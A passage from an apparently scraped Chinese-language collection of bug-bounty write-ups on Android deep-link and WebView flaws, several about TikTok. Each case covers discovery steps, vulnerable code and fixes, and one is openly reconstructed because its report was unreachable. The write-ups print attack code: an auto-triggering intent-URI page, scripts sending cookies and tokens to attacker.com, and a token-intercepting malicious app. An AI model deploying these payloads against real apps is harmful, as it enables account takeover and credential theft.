- 识别出所有可能处理用户输入URL的Activity。例如,一个用于处理密码重置链接的Activity,其Deep Link可能包含一个
- Deep Link 路径提取与分析:
- 动态测试与参数操纵:
- 使用Android调试桥(ADB)工具,通过
adb shell am start命令来动态测试发现的Deep Link。
- 使用Android调试桥(ADB)工具,通过
- 构造Intent URI,尝试向目标Activity发送恶意数据。例如,如果发现一个Deep Link处理
url参数并将其加载到WebView中,则尝试注入一个指向攻击者控制的服务器的URL。
- 构造Intent URI,尝试向目标Activity发送恶意数据。例如,如果发现一个Deep Link处理
- 关键发现点: 发现目标Activity在处理Deep Link传入的URL参数时,缺乏严格的白名单验证。例如,它可能只检查URL是否以
http或https开头,但没有验证Host是否属于应用自身或受信任的域名。
- 关键发现点: 发现目标Activity在处理Deep Link传入的URL参数时,缺乏严格的白名单验证。例如,它可能只检查URL是否以
- 动态测试与参数操纵:
- 漏洞利用链构建:
- 一旦确认Deep Link存在缺陷,下一步是构建完整的攻击链。
- 对于账户劫持场景,通常是找到一个Deep Link,它在用户登录后被触发,并包含一个敏感参数(如Session Token或Magic Link)。攻击者构造一个恶意链接,诱导用户点击,该链接会触发Deep Link,将敏感参数重定向到攻击者控制的服务器。
- 对于WebView劫持场景,则构造一个Deep Link,使其加载一个包含恶意JavaScript的外部URL,从而在应用内部的WebView上下文中执行XSS攻击,窃取Cookie或Session信息。
- 漏洞利用链构建:
- PoC编写与验证:
- 编写一个HTML页面作为PoC(Proof of Concept),其中包含一个Intent URI或一个自动触发Deep Link的JavaScript代码。
- 在受影响的应用版本上进行验证,确认攻击能够成功执行,并达到预期的影响(如窃取Session Cookie或执行未经授权的操作)。
- PoC编写与验证:
通过上述系统性的静态分析、动态测试和参数操纵,可以有效地发现和验证Android应用中因Deep Link处理不当而导致的严重安全漏洞。
技术细节
针对Deep Link漏洞,最常见的利用方式是构造一个恶意的Intent URI,通过网页或另一个恶意应用触发目标应用中的Deep Link Activity,从而实现信息窃取或未授权操作。以下是基于“Deep Link 账户劫持”场景的典型技术细节和Payload:
攻击流程:
- 识别目标Deep Link: 假设目标应用有一个处理密码重置或登录的Deep Link,其格式为
myapp://reset?token=<token>&redirect_url=<url>。
- 识别目标Deep Link: 假设目标应用有一个处理密码重置或登录的Deep Link,其格式为
- 构造恶意Payload: 攻击者构造一个恶意的
redirect_url,指向攻击者控制的服务器。
- 构造恶意Payload: 攻击者构造一个恶意的
- 触发Deep Link: 攻击者将包含恶意Payload的链接嵌入到一个网页中,诱骗用户点击。
恶意HTML Payload (Intent URI 触发):
<html>
<head>
<title>One-Click Account Takeover PoC</title>
</head>
<body>
<h1>正在加载...请稍候。</h1>
<p>如果应用未自动打开,请点击下方链接。</p>
<script>
// 假设目标应用有一个Deep Link Activity,它接收一个名为'url'的参数,并将其加载到WebView中,且未对url进行Host白名单验证。
// 目标应用包名:com.target.app
// 目标Deep Link Scheme:targetapp
// 目标Activity:com.target.app.DeepLinkActivity
// 恶意URL,指向攻击者服务器上的一个XSS Payload页面
var malicious_url = "https://attacker.com/steal_cookie.html";
// 构造Intent URI
var intent_uri = "intent://deeplink/path?url=" + encodeURIComponent(malicious_url) + "#Intent;" +
"scheme=targetapp;" +
"package=com.target.app;" +
"S.browser_fallback_url=https%3A%2F%2Fplay.google.com%2Fstore%2Fapps%2Fdetails%3Fid%3Dcom.target.app;" +
"end";
// 尝试通过iframe或location.href触发Deep Link
window.onload = function() {
// 尝试通过设置location.href触发Deep Link
window.location.href = intent_uri;
// 备用方案:使用iframe(某些浏览器可能需要)
setTimeout(function() {
var iframe = document.createElement("iframe");
iframe.src = intent_uri;
iframe.style.display = "none";
document.body.appendChild(iframe);
}, 1000);
};
</script>
<a href="javascript:void(0)" onclick="window.location.href=intent_uri;">点击这里打开应用</a>
</body>
</html>攻击者服务器上的 steal_cookie.html (XSS Payload 示例):
<script>
// 在目标应用的WebView上下文中执行,可以访问应用的Cookie、LocalStorage等
var session_cookie = document.cookie;
// 将窃取的敏感信息发送到攻击者服务器
var img = new Image();
img.src = "https://attacker.com/log?data=" + encodeURIComponent(session_cookie);
// 恶意操作完成后,重定向到正常页面以迷惑用户
window.location.href = "https://www.targetapp.com/home";
</script>这种攻击利用了应用对Deep Link参数的信任和缺乏验证,使得攻击者能够将任意外部内容(如恶意网页)注入到应用内部的WebView中,或将敏感数据重定向到外部服务器。
易出现漏洞的代码模式
此类漏洞通常出现在以下两个关键位置:AndroidManifest.xml中的配置和处理Deep Link的Java/Kotlin代码。
1. AndroidManifest.xml 中的易受攻击配置:
当一个Activity被设置为可被外部浏览器调用,但没有充分的验证机制时,就容易产生漏洞。
<activity
android:name=".DeepLinkActivity"
android:exported="true"> <!-- 关键点:exported为true或被隐式导出 -->
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" /> <!-- 关键点:BROWSABLE允许浏览器触发 -->
<data
android:scheme="https"
android:host="www.targetapp.com"
android:pathPrefix="/reset" />
<data
android:scheme="targetapp" /> <!-- 关键点:自定义Scheme,通常缺乏系统验证 -->
</intent-filter>
</activity>2. Java/Kotlin 代码中的易受攻击模式(缺乏Host/Path验证):
在处理Deep Link的Activity中,如果直接使用传入的URL参数进行敏感操作(如加载WebView或重定向),而没有对URL的Host进行严格的白名单验证,则会引入漏洞。
易受攻击的Java代码示例:
// DeepLinkActivity.java
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// ...
Uri data = getIntent().getData();
if (data != null) {
String redirectUrl = data.getQueryParameter("redirect_url"); // 接收未经验证的URL参数
if (redirectUrl != null) {
// 易受攻击点:直接将外部URL加载到应用内部的WebView中
// 攻击者可以注入恶意HTML/JS,实现XSS或信息窃取
WebView webView = findViewById(R.id.webview);
webView.loadUrl(redirectUrl);
// 易受攻击点:使用Intent进行重定向,可能导致敏感信息(如Token)泄露
// String token = data.getQueryParameter("token");
// if (token != null) {
// // 攻击者可以构造redirectUrl指向自己的服务器,窃取token
// Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(redirectUrl + "?stolen_token=" + token));
// startActivity(intent);
// }
}
}
}正确的防御代码模式(Host白名单验证):
// DeepLinkActivity.java (防御版本)
private static final String TRUSTED_HOST = "www.targetapp.com";
@Override
protected void onCreate(Bundle savedInstanceState) {
// ...
Uri data = getIntent().getData();
if (data != null) {
String redirectUrl = data.getQueryParameter("redirect_url");
if (redirectUrl != null) {
Uri parsedRedirectUri = Uri.parse(redirectUrl);
String host = parsedRedirectUri.getHost();
// 关键防御点:严格验证Host是否在白名单内
if (TRUSTED_HOST.equals(host)) {
// 只有在Host匹配时才执行敏感操作
WebView webView = findViewById(R.id.webview);
webView.loadUrl(redirectUrl);
} else {
// 拒绝加载或重定向到不受信任的Host
Log.e("DeepLink", "Untrusted host in redirect_url: " + host);
}
}
}
}Deep Link 验证不当
案例:无法确定(原报告无法访问) (报告: https://hackerone.com/reports/1416958)
挖掘手法
由于原始HackerOne报告(ID: 1416958)无法直接访问(因CAPTCHA阻拦),且通过多次精确搜索未能找到其详细内容或受影响的应用名称,因此本分析基于对Android Deep Link漏洞的通用挖掘手法和高相似度报告(如HackerOne报告855618、1500614、1667998)的深入研究进行推断和构建。
通用挖掘手法(基于Deep Link漏洞):
- 信息收集与清单化:
- 目标应用分析: 使用
apktool或Jadx等工具对目标Android应用的APK文件进行反编译。
- 目标应用分析: 使用
- 清单文件审查: 重点分析
AndroidManifest.xml文件,查找所有包含<intent-filter>标签的<activity>、<receiver>或<service>组件。
- 清单文件审查: 重点分析
- Deep Link模式识别: 识别所有注册了
android.intent.action.VIEW动作和android.intent.category.BROWSABLE类别的组件,这些组件通常处理Deep Link。记录其scheme(如http,https,appname)、host和path属性。
- Deep Link模式识别: 识别所有注册了
- 信息收集与清单化:
- 漏洞点识别(参数注入与验证缺失):
- 参数分析: 检查处理Deep Link的Activity的源代码(通常是
onCreate()或onNewIntent()方法),确定其从URI中提取了哪些参数(如token,url,redirect_uri,path)。
- 参数分析: 检查处理Deep Link的Activity的源代码(通常是
- 验证缺失判断: 核心在于判断应用是否对这些参数进行了充分的验证和沙箱化。例如,如果提取的参数是用于重定向的URL,是否验证了其域名白名单;如果参数是文件路径,是否进行了路径遍历(Path Traversal)过滤。
- 漏洞点识别(参数注入与验证缺失):
- 构造恶意Deep Link(PoC):
- Payload构造: 根据识别出的漏洞点,构造一个恶意的Deep Link URI。
- 账户劫持(Account Takeover): 针对“魔术链接”(Magic Link)场景,构造一个能被攻击者控制的应用拦截的Deep Link,从而窃取登录令牌。
- 任意文件读取/写入: 针对路径参数,尝试使用
../进行路径遍历,访问应用私有目录或系统文件。
- 任意文件读取/写入: 针对路径参数,尝试使用
- WebView劫持/XSS: 针对WebView加载URL的参数,尝试注入恶意URL或JavaScript代码。
- Payload构造: 根据识别出的漏洞点,构造一个恶意的Deep Link URI。
- 触发机制: 将构造的恶意Deep Link嵌入到一个简单的HTML页面中,使用户通过点击或自动重定向来触发,例如:
html <a href="appname://vulnerable.host/path?token=malicious_token">Click Me</a>
- 触发机制: 将构造的恶意Deep Link嵌入到一个简单的HTML页面中,使用户通过点击或自动重定向来触发,例如:
- 构造恶意Deep Link(PoC):
- 漏洞验证:
- 在测试设备上安装目标应用和攻击者控制的恶意应用(用于拦截Deep Link或接收窃取的数据)。
- 触发PoC,观察目标应用的行为,确认是否发生了账户劫持、数据泄露或非预期操作。
- 漏洞验证:
总结: Deep Link漏洞的挖掘手法主要集中在反编译分析、清单文件和代码审查以识别未经验证的URI参数,并构造恶意Deep Link进行攻击尝试。
技术细节
由于原始报告(ID: 1416958)无法访问,以下技术细节基于Android Deep Link漏洞的通用利用方式进行构建,特别是针对未经验证的Deep Link导致的账户劫持场景。
漏洞类型: Deep Link 验证不当导致的敏感信息泄露/账户劫持。
利用流程:
- 攻击者应用准备: 攻击者创建一个恶意Android应用(
com.attacker.app),并在其AndroidManifest.xml中声明一个Activity,用于拦截目标应用的Deep Link。- 目标应用(受害者)的Deep Link模式: 假设目标应用(
com.target.app)使用以下Deep Link进行登录令牌传递:xml <activity android:name=".AuthActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <data android:scheme="https" android:host="target.com" android:pathPrefix="/auth/login" /> </intent-filter> </activity>
- 目标应用(受害者)的Deep Link模式: 假设目标应用(
- 恶意应用(攻击者)的拦截配置: 攻击者配置其应用拦截相同或更宽泛的Deep Link,利用Android系统处理Intent的机制(如果两个应用都注册了相同的Deep Link,系统会提示用户选择,或根据配置选择默认应用)。
- Payload 示例(恶意应用清单):
xml <activity android:name=".InterceptorActivity" android:exported="true"> <intent-filter android:priority="999"> <!-- 尝试提高优先级 --> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <data android:scheme="https" android:host="target.com" /> <!-- 拦截整个Host --> </intent-filter> </activity>
- Payload 示例(恶意应用清单):
- 恶意应用(攻击者)的拦截配置: 攻击者配置其应用拦截相同或更宽泛的Deep Link,利用Android系统处理Intent的机制(如果两个应用都注册了相同的Deep Link,系统会提示用户选择,或根据配置选择默认应用)。
- 攻击者应用准备: 攻击者创建一个恶意Android应用(
- 令牌窃取代码(恶意应用): 恶意应用中的
InterceptorActivity会接收到包含敏感令牌的Deep Link Intent。- Java/Kotlin 代码片段:
// InterceptorActivity.java @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Intent intent = getIntent(); if (intent != null && intent.getData() != null) { Uri uri = intent.getData(); // 提取敏感参数,例如登录令牌 String loginToken = uri.getQueryParameter("token"); if (loginToken != null) { // 将窃取的令牌发送给攻击者服务器 Log.e("ATTACKER", "Stolen Token: " + loginToken); // 实际攻击中,会通过网络请求发送 // new SendTokenTask().execute(loginToken); } } // 避免用户察觉,可以尝试重新启动目标应用的Deep Link // 或者直接关闭Activity finish();}
- Java/Kotlin 代码片段:
- 令牌窃取代码(恶意应用): 恶意应用中的
- 攻击触发: 攻击者诱骗用户点击一个触发目标应用Deep Link的链接(例如,通过邮件、短信或恶意网页)。当用户点击时,如果恶意应用成功拦截了Intent,它将窃取令牌,完成账户劫持。
总结: 核心技术在于利用Deep Link的Intent过滤机制,在恶意应用中注册与目标应用相同的scheme和host,从而在用户点击包含敏感信息的Deep Link时,抢先拦截并窃取URI中的敏感参数(如token)。
易出现漏洞的代码模式
此类漏洞通常出现在处理Deep Link的Activity或Fragment中,特别是当它们从URI中提取敏感参数(如token、redirect_url、path)时,未对这些参数进行严格的来源验证(Source Validation)或内容沙箱化(Content Sandboxing)。
1. 验证缺失的AndroidManifest.xml配置:
当应用使用android:scheme和android:host来定义Deep Link,但未配合使用Android App Links(需要数字资产链接文件assetlinks.json进行验证)时,任何其他应用都可以声明相同的intent-filter来拦截该链接。
<!-- 易受攻击的配置:未启用App Links验证,且exported=true(默认值) -->
<activity android:name=".AuthActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<!-- 这里的scheme和host容易被恶意应用模仿或覆盖 -->
<data android:scheme="https" android:host="vulnerable.com" android:pathPrefix="/login" />
</intent-filter>
</activity>2. 缺乏参数验证的Java/Kotlin代码模式:
在处理Deep Link的Activity中,直接使用从URI中提取的参数,而没有进行白名单检查或安全过滤。
// 易受攻击的代码模式:直接使用查询参数进行重定向或文件操作
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Uri uri = getIntent().getData();
// 场景一:未经验证的重定向(Open Redirect)
String redirectUrl = uri.getQueryParameter("redirect_url");
if (redirectUrl != null) {
// 缺乏对 redirectUrl 的域名白名单验证
Intent webIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(redirectUrl));
startActivity(webIntent);
}
// 场景二:未经验证的路径参数(Path Traversal/Arbitrary File Access)
String filePath = uri.getQueryParameter("path");
if (filePath != null) {
// 缺乏对 filePath 的路径遍历过滤(如检查是否包含 "../")
File file = new File(getExternalFilesDir(null), filePath);
// 尝试读取或写入文件
// ...
}
}安全修复建议(代码模式):
- 使用App Links: 确保使用
android:autoVerify="true"并配置assetlinks.json,以确保只有受信任的Deep Link才能被应用处理。
- 使用App Links: 确保使用
- 严格验证参数: 对所有从Deep Link URI中提取的参数进行严格的白名单验证。例如,对于重定向URL,只允许跳转到应用内部或预先批准的域名。
- Intent 优先级: 避免在自定义
scheme上使用exported="true",如果必须使用,确保自定义scheme不会处理敏感信息。
- Intent 优先级: 避免在自定义
Deep Link 验证绕过与 WebView 劫持
案例:TikTok (报告: https://hackerone.com/reports/1416952)
挖掘手法
本次漏洞挖掘手法主要围绕 Android Deep Link 验证机制的绕过 和 WebView 中 JavaScript 接口的劫持 展开,其核心在于将多个独立的安全问题串联起来,形成一个完整的攻击链。
第一步:Deep Link 组件识别与分析。 研究人员首先对 TikTok Android 应用进行逆向工程和静态分析,识别出所有在 AndroidManifest.xml 中声明的 Deep Link Scheme 和处理它们的 Activity。特别关注了用于重定向的导出 Deep Link,例如 https://m.tiktok[.]com/redirect。
第二步:内部 Deep Link 触发与 WebView 定位。 关键发现是通过导出的 redirect 链接的查询参数,可以间接触发应用内部使用的、未导出的 Deep Link Scheme。这使得攻击者能够访问原本不应该从外部访问的应用内部功能,从而扩大了攻击面。研究人员定位到一个特定的内部 Deep Link Scheme,如 [redacted-internal-scheme]://webview?url=<website>,该链接可以用于将任意 URL 加载到 CrossPlatformActivity 的 WebView 组件中。
第三步:绕过服务器端过滤机制。 尽管该内部 Deep Link 存在服务器端过滤机制,会拒绝加载非信任域名的 URL,但通过静态分析,研究人员发现可以通过在 Deep Link 中添加两个额外的查询参数来绕过这个服务器端检查。这一绕过是实现任意 URL 加载的关键一步。
第四步:JavaScript Bridge 访问与功能识别。 绕过过滤后,攻击者可以强制 WebView 加载任意 URL,并且该 WebView 实例创建了 JavaScript Bridge 实例,使得加载的网页可以完全访问 [redacted].bridge.* 包下的功能。研究人员进一步识别出 JavaScript Bridge 暴露了超过 70 个方法,其中一些方法能够执行经过身份验证的 HTTP 请求,从而为后续的账户劫持提供了基础。通过这种链式攻击,攻击者只需用户点击一个特制的链接,即可在用户无感知的情况下劫持账户。
技术细节
漏洞利用的关键在于构造一个特制的 Deep Link URL,该 URL 能够绕过 TikTok 的 Deep Link 验证机制,并强制应用内部的 WebView 加载攻击者控制的恶意网页。
攻击流程和 Payload 构造:
- 构造恶意 Deep Link: 攻击者首先构造一个 Deep Link,利用导出的
redirect链接作为入口,并通过查询参数传递一个内部 Deep Link,同时包含绕过服务器端过滤的两个额外参数。https://m.tiktok[.]com/redirect?url=[redacted-internal-scheme]://webview?url=https://www.attacker[.]com/poc¶m1=value1¶m2=value2其中https://www.attacker[.]com/poc是攻击者控制的恶意网页 URL。
- 构造恶意 Deep Link: 攻击者首先构造一个 Deep Link,利用导出的
- 恶意网页 (poc) 内容: 恶意网页包含 JavaScript 代码,该代码利用被劫持的 WebView 中暴露的 JavaScript Bridge 接口。
// 假设 JavaScript Bridge 接口名为 'injectedObject' // 1. 调用暴露的 API 方法,获取敏感信息(例如视频上传令牌) injectedObject.call('getUploadToken', '{"video_id": "123"}', function(result) { // 2. 使用 XMLHttpRequest 将令牌发送到攻击者服务器 var xhr = new XMLHttpRequest(); xhr.open("POST", "https://www.attacker[.]com/steal_token", true); xhr.send(result); }); // 3. 调用暴露的 API 方法,执行敏感操作(例如修改用户资料) // 假设 'updateProfile' 方法可以修改用户简介 injectedObject.call('updateProfile', '{"bio": "!! SECURITY BREACH !!!"}', function(result) { console.log("Profile updated:", result); });通过调用暴露的 Java 方法(如getUploadToken和updateProfile),攻击者可以执行以下操作:- 信息窃取: 触发经过身份验证的 HTTP 请求到 TikTok 内部 API,获取用户的认证令牌、私有视频信息等,并通过
XMLHttpRequest发送到攻击者服务器。
- 信息窃取: 触发经过身份验证的 HTTP 请求到 TikTok 内部 API,获取用户的认证令牌、私有视频信息等,并通过
- 账户劫持/篡改: 执行修改用户资料(如简介)等敏感操作,实现账户的控制和破坏。
- 恶意网页 (poc) 内容: 恶意网页包含 JavaScript 代码,该代码利用被劫持的 WebView 中暴露的 JavaScript Bridge 接口。
技术细节: 漏洞的根本在于应用将一个具有高权限(可访问 [redacted].bridge.* 包下 70 多个方法)的 JavaScript Bridge 实例注入到了一个可以加载任意外部 URL 的 WebView 中,且 Deep Link 验证机制存在缺陷可被绕过。
易出现漏洞的代码模式
此类漏洞的出现通常源于 Android 应用中对 Deep Link 的处理不当以及 WebView 中 JavaScript 接口的过度暴露。
1. Deep Link 验证绕过模式:
当应用使用 Deep Link 进行重定向或加载内容时,未能对传入的 URL 参数进行充分的验证和过滤,特别是当外部可访问的 Deep Link 可以触发内部使用的 Deep Link Scheme 时。
- 错误模式示例(伪代码):
// 导出的 Activity 接收外部 Intent public class RedirectActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { // ... Uri uri = getIntent().getData(); String targetUrl = uri.getQueryParameter("url"); // 未经验证的外部输入 if (targetUrl != null && targetUrl.startsWith("internal-scheme://")) { // 允许外部输入触发内部 Deep Link Intent internalIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(targetUrl)); startActivity(internalIntent); } // ... }}如果内部 Deep Link(如internal-scheme://webview?url=...)的验证逻辑存在缺陷(例如本例中通过添加额外参数绕过),则会形成攻击链。
- 错误模式示例(伪代码):
2. 不安全的 WebView 配置模式(JavaScript 接口注入):
将 addJavascriptInterface 用于加载外部或未经验证内容的 WebView 实例,并暴露了敏感或高权限的 Java 方法。
- 错误模式示例(Java 代码):
// CrossPlatformActivity 或类似组件 WebView webView = findViewById(R.id.webview); // 错误:将高权限对象注入到可能加载外部内容的 WebView 中 webView.addJavascriptInterface(new HighPrivilegeBridge(), "injectedObject"); // 错误:未对加载的 URL 进行严格的白名单校验 webView.loadUrl(untrustedUrl); // HighPrivilegeBridge 类中包含敏感方法 class HighPrivilegeBridge { @JavascriptInterface public void performAuthenticatedRequest(String jsonParams) { // ... 执行敏感的、带用户身份验证的 HTTP 请求 }@JavascriptInterface public String getSensitiveData() { // ... 返回敏感数据 return "token"; }}安全实践: 仅在加载完全信任的本地或远程内容时使用addJavascriptInterface,或确保 WebView 仅加载经过严格白名单验证的 URL,并且暴露的接口方法不包含敏感操作。对于加载外部内容的 WebView,应避免使用addJavascriptInterface。
- 错误模式示例(Java 代码):
案例:TikTok (报告: https://hackerone.com/reports/1416954)
挖掘手法
漏洞挖掘主要通过对TikTok Android应用的静态和动态分析,重点关注其Deep Link处理机制和WebView的实现。
- 目标识别: 确定应用中处理Deep Link的组件,特别是那些被
android:exported="true"标记的Activity,以及它们在AndroidManifest.xml中声明的intent-filter。
- 目标识别: 确定应用中处理Deep Link的组件,特别是那些被
- Deep Link分析: 发现一个导出的Deep Link(例如
https://m.tiktok[.]com/redirect),该链接通过查询参数将URI重定向到应用内部的其他组件。
- Deep Link分析: 发现一个导出的Deep Link(例如
- 内部Deep Link发现: 利用静态分析工具(如Medusa)识别出应用内部使用的、未导出的Deep Link方案,例如一个用于加载WebView的内部方案
[redacted-internal-scheme]://webview?url=<website>。
- 内部Deep Link发现: 利用静态分析工具(如Medusa)识别出应用内部使用的、未导出的Deep Link方案,例如一个用于加载WebView的内部方案
- 绕过机制探索: 尝试利用导出的Deep Link作为跳板,通过其查询参数触发内部的
webview方案。
- 绕过机制探索: 尝试利用导出的Deep Link作为跳板,通过其查询参数触发内部的
- 服务器端过滤绕过: 发现
webview方案虽然对url参数进行了服务器端的主机过滤,但通过在Deep Link中添加两个特定的额外查询参数,可以绕过此过滤,从而允许加载任意外部URL。
- 服务器端过滤绕过: 发现
- JavaScript Bridge识别: 动态分析WebView,确认其注入了一个功能强大的JavaScript Bridge(属于
[redacted].bridge.*包)。该Bridge暴露了超过70个方法,包括执行认证HTTP请求和访问/修改用户私密信息的功能。
- JavaScript Bridge识别: 动态分析WebView,确认其注入了一个功能强大的JavaScript Bridge(属于
- 攻击链构建: 构造一个恶意Deep Link,该链接包含绕过参数,指向一个攻击者控制的URL。当用户点击该链接时,应用加载恶意URL到WebView,恶意网页中的JavaScript通过注入的Bridge调用Java方法,实现账户接管。
整个过程是一个典型的链式攻击发现过程,将Deep Link验证绕过与不安全的WebView配置结合,最终实现高危的账户劫持。
- 攻击链构建: 构造一个恶意Deep Link,该链接包含绕过参数,指向一个攻击者控制的URL。当用户点击该链接时,应用加载恶意URL到WebView,恶意网页中的JavaScript通过注入的Bridge调用Java方法,实现账户接管。
技术细节
攻击利用链涉及三个关键步骤:Deep Link跳转、过滤绕过和WebView劫持。
1. Deep Link 构造与跳转
攻击者构造一个恶意的Deep Link,利用应用导出的重定向Deep Link作为跳板,将用户重定向到内部的webview Deep Link,并加载攻击者控制的URL。
- 跳板 Deep Link 示例 (概念性):
https://m.tiktok[.]com/redirect?url=[redacted-internal-scheme]://webview?url=https://attacker.com/payload.html¶m1=bypass_value1¶m2=bypass_value2
其中,param1和param2是绕过服务器端主机过滤的关键参数。
- 跳板 Deep Link 示例 (概念性):
2. WebView 劫持
应用加载https://attacker.com/payload.html到其WebView中,由于过滤被绕过,且WebView被配置为注入了强大的JavaScript Bridge,攻击者控制的HTML页面可以执行以下JavaScript代码:
- 恶意 JavaScript 示例 (概念性):
// 假设Bridge的名称为'TikTokBridge' var bridge = window.TikTokBridge; // 构造JSON请求,调用Bridge中暴露的、可执行认证HTTP请求的方法 var requestJson = { "func": "performAuthenticatedRequest", // 假设的Bridge方法名 "params": { "method": "GET", "url": "https://api.tiktok.com/v1/user/profile/sensitive_info", // 窃取敏感信息的TikTok API端点 "callback": "handleResponse" } }; // 调用Bridge方法 bridge.call(JSON.stringify(requestJson)); // 回调函数,用于接收API响应并发送给攻击者服务器 function handleResponse(responseJson) { // 将窃取到的敏感数据(如认证Token或用户信息)发送到攻击者服务器 var stolenData = JSON.parse(responseJson).data; new Image().src = "https://attacker.com/steal?data=" + encodeURIComponent(stolenData); }通过调用Bridge中暴露的、可执行认证HTTP请求的方法,攻击者可以窃取用户的认证Token(通过将Token发送到攻击者服务器)或直接修改用户的TikTok账户数据。
- 恶意 JavaScript 示例 (概念性):
3. 攻击结果
攻击者可实现一键账户劫持,访问和修改用户的TikTok资料、发布私密视频、发送消息等。
易出现漏洞的代码模式
此类漏洞通常出现在以下代码位置、配置和编程模式中:
1. Deep Link 处理不当 (Intent Filter)
当应用导出一个Deep Link Activity,并允许其通过查询参数(如url或uri)加载另一个内部或外部的URI时,如果对参数的验证不严格,就可能被用于触发内部的非导出组件或绕过安全检查。
- 危险的 Manifest 配置示例 (概念性):
xml <activity android:name=".RedirectActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <data android:scheme="https" android:host="m.tiktok.com" android:pathPrefix="/redirect" /> </intent-filter> </activity>
在RedirectActivity中,如果直接使用getIntent().getData().getQueryParameter("url")来启动新的Intent或加载WebView,且未对url参数进行充分的主机校验,则存在风险。
- 危险的 Manifest 配置示例 (概念性):
2. WebView 不安全配置 (JavaScript Interface Injection)
将WebView与强大的JavaScript Bridge结合,并允许加载外部或未充分验证的URL,是导致账户劫持的关键。
- 危险的 Java 代码模式 (概念性):
// 危险:将功能强大的Java对象注入到WebView中 WebView webView = new WebView(this); webView.getSettings().setJavaScriptEnabled(true); // 注入了一个包含敏感操作方法的Bridge对象 webView.addJavascriptInterface(new PowerfulBridge(this), "TikTokBridge"); // 危险:加载了一个未经验证或验证被绕过的外部URL String url = getIntent().getStringExtra("url"); // 从Deep Link中获取的URL webView.loadUrl(url);其中,PowerfulBridge类中包含大量使用@JavascriptInterface注解的方法,这些方法可以执行认证请求、访问本地数据等敏感操作。
- 危险的 Java 代码模式 (概念性):
3. 过滤机制缺陷
安全过滤逻辑(无论是客户端还是服务器端)存在缺陷,例如依赖于容易被绕过的参数或逻辑。在本例中,服务器端的主机过滤被两个额外的查询参数绕过,表明过滤逻辑不够健壮。
- 总结: 漏洞模式是“Deep Link作为跳板 + 过滤绕过 + 注入了强大Bridge的不安全WebView”的组合。
Deep Link 验证绕过导致WebView注入
案例:TikTok (报告: https://hackerone.com/reports/1417015)
挖掘手法
本次漏洞挖掘主要围绕Android应用中的Deep Link(深度链接)机制和WebView组件展开,旨在寻找绕过安全验证并实现JavaScript桥接注入的攻击链。
挖掘步骤和分析思路:
- 组件识别与分析: 研究人员首先关注了TikTok Android应用中广泛使用的JavaScript接口(JavaScript interfaces)和WebView组件。WebView允许应用加载和显示网页,并通过
addJavascriptInterfaceAPI调用实现JavaScript代码与应用原生Java方法之间的通信,即JavaScript桥接(JavaScript bridge)。研究发现,TikTok应用内存在一个关键的JavaScript桥接,它拥有访问[redacted].bridge.*包下所有功能类的权限,暴露了超过70个敏感方法。
- 组件识别与分析: 研究人员首先关注了TikTok Android应用中广泛使用的JavaScript接口(JavaScript interfaces)和WebView组件。WebView允许应用加载和显示网页,并通过
- Deep Link机制分析: 接着,研究人员分析了应用处理Deep Link的方式。Deep Link是一种特殊的超链接,用于直接导航到应用内的特定组件。研究人员发现,TikTok应用通过
https://m.tiktok[.]com/redirect链接处理重定向,该链接通过一个查询参数将URI重定向到应用内的各种组件。
- Deep Link机制分析: 接着,研究人员分析了应用处理Deep Link的方式。Deep Link是一种特殊的超链接,用于直接导航到应用内的特定组件。研究人员发现,TikTok应用通过
- 内部Deep Link触发: 研究人员确定可以通过操纵该查询参数来触发应用内部使用的、未导出的Deep Link,从而扩大攻击面。特别是,他们关注了形如
[redacted-internal-scheme]://webview?url=<website>的内部Deep Link,该链接用于将URL加载到CrossPlatformActivity的WebView中。
- 内部Deep Link触发: 研究人员确定可以通过操纵该查询参数来触发应用内部使用的、未导出的Deep Link,从而扩大攻击面。特别是,他们关注了形如
- 绕过服务器端过滤: 尽管上述内部Deep Link对加载的URL进行了过滤,以拒绝不受信任的主机,但研究人员通过静态分析发现,通过在Deep Link中添加两个额外的查询参数,可以成功绕过服务器端的过滤检查。
- 构建攻击链: 最终,研究人员将上述发现串联起来,构建了完整的攻击链:一个特制的Deep Link,利用参数绕过验证,强制应用将攻击者控制的任意URL加载到WebView中。由于WebView在加载时会创建JavaScript桥接的实例,攻击者控制的网页因此获得了对
[redacted].bridge.*包下所有敏感功能的完全访问权限。
- 构建攻击链: 最终,研究人员将上述发现串联起来,构建了完整的攻击链:一个特制的Deep Link,利用参数绕过验证,强制应用将攻击者控制的任意URL加载到WebView中。由于WebView在加载时会创建JavaScript桥接的实例,攻击者控制的网页因此获得了对
使用的工具:
- Medusa: 研究人员使用Medusa工具的WebView模块对WebView的动态行为进行了验证,确认了JavaScript桥接的注入和功能暴露情况。
整个挖掘过程是一个典型的Deep Link验证绕过与JavaScript桥接注入的组合攻击,通过链式利用多个组件的配置缺陷,最终实现了高权限的账户劫持能力。
技术细节
漏洞利用的核心在于构造一个恶意Deep Link,该链接能够绕过TikTok应用的Deep Link验证机制,并强制应用在具有高权限JavaScript桥接的WebView中加载攻击者控制的恶意网页。
攻击流程和Payload构造:
- 恶意Deep Link构造: 攻击者构造一个特制的URL,利用TikTok的重定向Deep Link (
https://m.tiktok[.]com/redirect),并嵌入内部WebView Deep Link ([redacted-internal-scheme]://webview?url=<website>)。
- 恶意Deep Link构造: 攻击者构造一个特制的URL,利用TikTok的重定向Deep Link (
- 验证绕过: 为了绕过应用对
